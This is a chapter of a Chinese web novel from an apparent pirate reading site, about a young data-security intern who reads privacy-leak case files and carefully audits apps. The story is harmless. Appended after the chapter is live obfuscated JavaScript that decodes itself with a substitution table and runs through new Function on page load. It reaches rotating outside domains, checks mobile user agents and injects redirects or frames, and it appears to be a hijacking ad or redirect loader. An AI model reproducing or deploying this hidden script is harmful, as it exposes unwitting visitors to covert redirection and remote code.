首页
前传第44章 初涉数据安全,
返回
关灯 护眼:关 字号:小

前传第44章 初涉数据安全,热爱纯粹热烈

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    前传第44章初涉数据安全,热爱纯粹热烈(第1/2页)
    暮色漫过江城理工大学信息院的长廊,将灰白的地砖染成一层柔软的橘粉。晚风穿堂而过,卷走了实验室整日弥漫的电子燥热,留下初秋独有的清冽干爽。
    林晚背着简单的黑色双肩包,缓步走出国家级数据安全实验室。白衬衫的衣角被风轻轻掀起,露出纤细挺拔的身形,眉眼干净澄澈,褪去了一下午紧盯代码的紧绷凝重,多了几分少年人独有的松弛与温柔。
    结束了为期半月的暑期科创集训,她交出了一份零漏洞、零偏差的完美项目答卷。带队的张教授再三挽留,希望她留校参与重点科研项目,甚至许诺了最优的培养资源与保研直通名额。
    旁人眼中唾手可得的顶级捷径,林晚却轻声婉拒了。
    不是不心动,而是她心里清楚,实验室的恒温净土、校园里的容错环境,终究不是真正的行业人间。
    二十岁的年纪,她的热爱从来不是停留在试卷分数、竞赛奖杯、科研头衔之上。她痴迷数据安全,痴迷这一行藏在代码深处的守护意义,便迫切地想要走出象牙塔,去真实的行业一线看一看。
    看真正的网络风险如何滋生,看真实的数据泄露如何发生,看她所学的每一行算法、每一套加密逻辑,究竟能为这个纷繁复杂的互联网世界,撑起多大的保护伞。
    手机屏幕亮起,是暑期校外实训的录取通知弹窗。
    收件人:林晚。
    录用单位:江城安恒数据安全研究院,民用隐私防护专项实训生。
    这是她半个月前悄悄投递的实训岗位,不属于学校合作的保研项目,没有镀金的竞赛光环,没有专人护航的科研资源,只是行业内最普通、最一线的民用数据安全风控岗位。
    相比于高校实验室的高精尖课题,这份实训工作琐碎、基础,甚至在很多追逐名利的学子眼中,略显平庸。
    它不研究前沿的顶级加密算法,不做博取行业眼球的技术突破,只专注于最底层、最接地气的民用数据防护:排查普通用户的隐私泄露漏洞、监测日常APP的数据窃取行为、修复民用网络的基础风控隐患、处理普通人遭遇的信息安全纠纷。
    可这恰恰是林晚最想要的。
    年少成名的光环加持太久,身边所有人都在夸赞她的天赋,追捧她的才华,劝她走最光鲜、最顺遂的捷径。唯有她自己始终清醒,所有高精尖的技术,最终的归宿都是落地于人。
    数据安全的终极意义,从不是实验室里的惊天突破,而是护寻常百姓的岁岁平安。
    指尖轻轻划过屏幕上的录取字样,林晚眼底漾起细碎明亮的光,那是不加任何功利滤镜、纯粹得近乎炙热的热爱。
    她的热爱很简单,也很执拗。
    始于一行行严谨的代码,忠于一份无人问津的守护。
    收拾好简单的行囊,次日清晨,天刚蒙蒙亮,林晚便独自奔赴实训研究院。
    江城安恒研究院坐落在城市科创园区的边角地带,没有互联网大厂的恢弘气派,没有玻璃幕墙的光鲜耀眼,一栋朴素的六层小楼,外墙略显陈旧,院落里种着几株常青绿植,安静、低调,藏着整个城市最基础、最关键的数据安全防线。
    这里承载着江城大半民用数据风控、隐私监测、漏洞修复的基础工作,默默无闻,却不可或缺。
    实训报到流程简单快捷,没有繁复的仪式,没有隆重的欢迎。HR简单核对信息、录入档案、分发工牌,便将她交给了带教导师周工。
    周工年过四十,在数据安全行业深耕十余年,是业内资深的底层风控工程师,没有耀眼的职称头衔,不善言辞,性格内敛沉稳,一辈子扎根民用安全一线,见过无数数据乱象,也救过无数普通人的信息危机。
    初见林晚,他看着眼前年纪轻轻、眉眼青涩的小姑娘,得知她是名校科创金奖得主,只是淡淡抬眼,语气平淡,没有惊喜,没有偏爱:“名校天才我见得多了,校园技术和行业实操,是两回事。在这里,不用追求完美算法,不用比拼天赋高低,只需要记住一件事——守住普通人的信息底线。”
    “校园里可以试错,可以打磨,可以追求极致完美。行业一线,漏洞就是风险,疏忽就是伤害,没有重来的机会。”
    两句平淡的叮嘱,朴实无华,却像一盆温水,轻轻浇灭了少年人心底些许的意气风发,留下最纯粹、最踏实的敬畏。
    林晚郑重点头,指尖握紧了崭新的实习工牌,认真应声:“我记住了,周工。我会认真对待每一次排查,绝不疏忽任何一处隐患。”
    她的态度谦逊真诚,没有半点天才的骄矜傲气。
    周工看在眼里,心底微微颔首,面上依旧淡然,随手递过来一叠厚厚的台账档案:“今天第一天,不安排复杂工作。先看案例,看近三年江城民用数据泄露、隐私侵权的真实案例,看完写一份心得体会,不用空话套话,只写你的真实感受。”
    厚厚的档案册堆叠在桌面,纸张泛黄,边角翻卷,是日复一日被无数从业者翻阅记录的痕迹。
    林晚依言坐下,安安静静翻开档案,正式踏入属于数据安全的人间百态。
    不同于校园竞赛里模拟的、规整的、理想化的漏洞案例,这些真实的行业案例,琐碎、冰冷、真实,带着烟火人间的无奈与酸涩。
    第一份案例,是独居老人手机隐私泄露,被恶意APP窃取通讯录与位置信息,遭遇精准电信诈骗,积攒半生的养老积蓄尽数被骗,老人终日郁郁,一病不起。
    第二份案例,是普通宝妈的育儿软件泄露家庭隐私,孩子照片、家庭住址、联系方式被批量倒卖,遭遇不法分子上门骚扰,整日惶恐不安,有家不敢回。
    第三份案例,是应届毕业生求职平台信息泄露,身份证、学历、手机号被打包兜售,深陷网贷诈骗、劳务骗局,辛苦多年的求学之路,险些毁于一旦。
    第四份、第五份、第六份……
    一页页翻下去,没有惊天动地的网络攻防大战,没有炫酷高超的技术破解场面。
    只有无数普通人的细碎苦难,无数平凡家庭的猝不及防,无数无辜之人,在看不见的网络暗流里,被肆意收割隐私、践踏权益、消耗安稳。
    林晚静静看着,澄澈的眼眸一点点沉下来,心底那团原本朦胧的热爱,在此刻变得无比清晰、无比坚定。
    从前在课堂、在实验室、在竞赛场上,她热爱数据安全,是热爱算法的精密、逻辑的严谨、技术的高级,是沉迷于攻克漏洞的成就感,是享受天赋落地的荣光。
    可此刻,看着一纸纸真实案例,看着一个个被数据乱象摧毁的平凡人生,她才真正读懂了这行职业的底色。
    所谓数据安全,从来不是什么高大上的科创噱头,不是用来博取前程的工具技艺。
    它是盾,是墙,是无数普通人在虚拟网络世界里,唯一的安全感来源。
    代码无声,却能护人间安稳;算法无言,可抵挡世间恶意。
    年少的热爱,瞬间褪去所有浮华的滤镜,落地生根,变得滚烫而厚重。
    整整一个上午,林晚没有起身,没有休憩,安安静静坐在工位上,逐字逐句翻阅案例档案,认真记录每一处风险漏洞、每一条泄露路径、每一个悲剧根源。
    (本章未完,请点击下一页继续阅读)前传第44章初涉数据安全,热爱纯粹热烈(第2/2页)
    她依旧极致较真,依旧容不得半点纰漏。
    只是从前的较真,是对分数、对项目、对完美结果的偏执;而此刻的较真,是对人命、对安稳、对人间善意的坚守。
    午后,阳光透过老旧的百叶窗,落在她工整的笔记本上,密密麻麻写满了清秀的字迹。
    【数据无形态,泄露有重量。一行漏洞,可碎万家安稳;一寸疏忽,可酿半生风雨。】
    【技术的终极价值,从不是突破与荣光,是守护与兜底。】
    【我所学之算法,所通之防护,当为弱者屏障,为人间守序。】
    字字质朴,句句赤诚,是二十岁的林晚,写给行业、也写给自己的初心誓言。
    下午,周工安排了她的第一份实操工作:民用APP基础漏洞巡检。
    工作内容极其枯燥繁琐,甚至有些消磨耐心。
    批量检测市面上数十款小众生活软件,逐一排查权限越界、隐私窃取、后台静默爬取数据等基础漏洞,逐条登记、分类、报备、追踪修复进度。
    没有技术含量,没有发挥天赋的空间,重复、机械、琐碎,是行业里最基础、最底层、没人愿意深耕的杂活。
    同批次进来的几个实训生,大多做得敷衍潦草,快速扫过数据,草草勾选合格,只求完成任务、混过实训时长,满心盼望着早日接触高端技术项目。
    唯独林晚,依旧保持着极致严谨的姿态。
    每一款软件,她都从零权限开始逐层排查,不放过任何一项静默授权、任何一条隐性爬取路径。别人十分钟做完一款软件的巡检,她愿意花半小时、一小时,反复核验、反复复盘。
    临近下班,同组的实训生忍不住打趣她:“林晚,你也太拼了吧?这种基础杂活,随便做做就行了,又没人细看,没必要这么较真。我们都是名校出来的,浪费时间在这种小事上,太屈才了。”
    “早点混完实训,跟着导师做大项目、搞高端研发,才是正经出路。”
    周遭几人纷纷附和,言语间带着年轻人的浮躁与功利,是大多数行业新人的常态心态。
    天赋用来捷径,努力用来镀金,热爱用来变现。
    这是世俗最通行的规则。
    林晚指尖未停,目光依旧专注地落在电脑屏幕上,淡淡应声,语气平静却坚定:“没有小事。所有惊天的风险,都是从微小的漏洞滋生的。我们敷衍一次排查,可能就是一个家庭的隐患。”
    一句话,轻而有力,让周遭的嬉笑声瞬间淡了下去。
    众人面面相觑,有人暗自佩服,有人暗自觉得她太过死板、不懂变通。
    林晚未曾在意旁人眼光。
    她自小如此,从不随波逐流,不迎合世俗浮躁,认定的事,便会踏踏实实做到极致。
    夕阳西下,研究院的同事陆续下班离开,整层办公区渐渐安静下来。
    林晚依旧坐在工位上,加班复盘当日所有巡检数据,将所有排查出的隐性漏洞逐一分类建档,标注风险等级、泄露路径、修复建议,条理清晰,面面俱到,比行业老员工做得还要严谨周全。
    周工收拾东西准备离开,路过她工位,低头看向她满满四页的详细复盘报告,看着每一处漏洞细致入微的标注,眼底终于掠过一丝真切的动容。
    从业十余年,他见过太多天赋出众的年轻人。
    聪慧、敏捷、有灵气,却大多心浮气躁,眼高手低,追逐名利,耐不住琐碎,守不住初心。
    唯独眼前这个二十岁的小姑娘,身怀天赋却不骄矜,年少成名却不浮躁,有最顶尖的技术悟性,更有最难得的职业敬畏。
    纯粹、热烈、赤诚、坚定。
    她是真的热爱这一行,爱得干净通透,不带一丝杂质。
    “很晚了,先回去休息。”周工停下脚步,轻声开口,“你的细致和初心,很难得。”
    这是他今日第一次主动夸赞。
    林晚抬眸,眼底带着浅浅笑意:“谢谢周工,我想把今天的隐患全部整理完毕,不留空白。”
    “隐患永远整理不完。”周工看着她,语重心长道,“行业最大的乱象,从来不是技术漏洞,是人心浮躁。太多公司为了流量、为了收益、为了资本增值,刻意保留漏洞、放任数据泄露、默许隐私窃取。”
    “你今天补上十个漏洞,明天资本就能催生一百个新漏洞。你一人较真,抵不过整个行业的逐利洪流。”
    这番话,是行业老人历经风霜的清醒,也是藏在繁华互联网产业背后的冰冷真相。
    林晚闻言,指尖微微一顿。
    她从未听过这样的话。
    校园的世界永远正向、永远光明,老师教她技术向善、勤能补拙、严谨制胜,只要足够努力、足够细致、足够较真,就能规避所有风险、守住所有底线。
    可真实的行业,有太多人力不可控的阴暗,有太多利益凌驾于规则之上,有太多资本碾压初心的无奈。
    心底那片纯粹热烈的热爱,第一次轻轻撞上现实的壁垒,生出一丝细微的茫然。
    但这份茫然,转瞬即逝。
    她抬眸看向窗外渐沉的夜色,眼底光亮依旧澄澈滚烫:“有人逐利,更要有人坚守。就算只能补一处漏洞,护一方安稳,也是值得的。”
    我无法改变整个行业的浮躁,但我可以守住我的每一寸底线。
    我无法杜绝所有的恶意,但我可以拼尽全力,挡住我能挡住的所有风险。
    二十岁的林晚,尚不知未来命运的跌宕。
    她此刻的热爱,干净得如同白纸,热烈得不惧风霜。她相信坚守的意义,相信真诚的力量,相信技术永远向善,相信人定胜天。
    她不知道,这份极致纯粹的热爱、这份不肯妥协的较真、这份毫无保留的赤诚,日后会被职场倾轧、人心算计、资本冷血狠狠击碎。
    她此刻有多笃定坚守就能圆满,日后崩塌时就有多痛彻心扉。
    她此刻有多相信行业公正、努力有用,日后陷入绝境时就有多自我否定、深陷牢笼。
    晚风穿过寂静的办公区,拂动她额前的碎发。
    少年人眼底的热爱熠熠生辉,滚烫、纯粹、毫无杂质。
    这是林晚一生最干净、最明亮的时光。
    没有心结枷锁,没有自我内耗,没有患得患失,没有瞻前顾后。
    只有一腔孤勇的热爱,一份至死不渝的坚守,一颗赤诚热烈、向往光明的初心。
    夜色渐深,城市万家灯火次第亮起。
    屏幕上跳动的安全代码,在寂静夜色里,汇成少年人最滚烫的理想。
    前路漫漫,彼时的她尚不知风雨将至,只知心怀热爱,奔赴山海,以微渺一己之力,守人间烟火无虞。
    这份初涉行业的纯粹热烈,终将成为她日后半生自愈、自我救赎,最珍贵、也最酸涩的初心底色。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();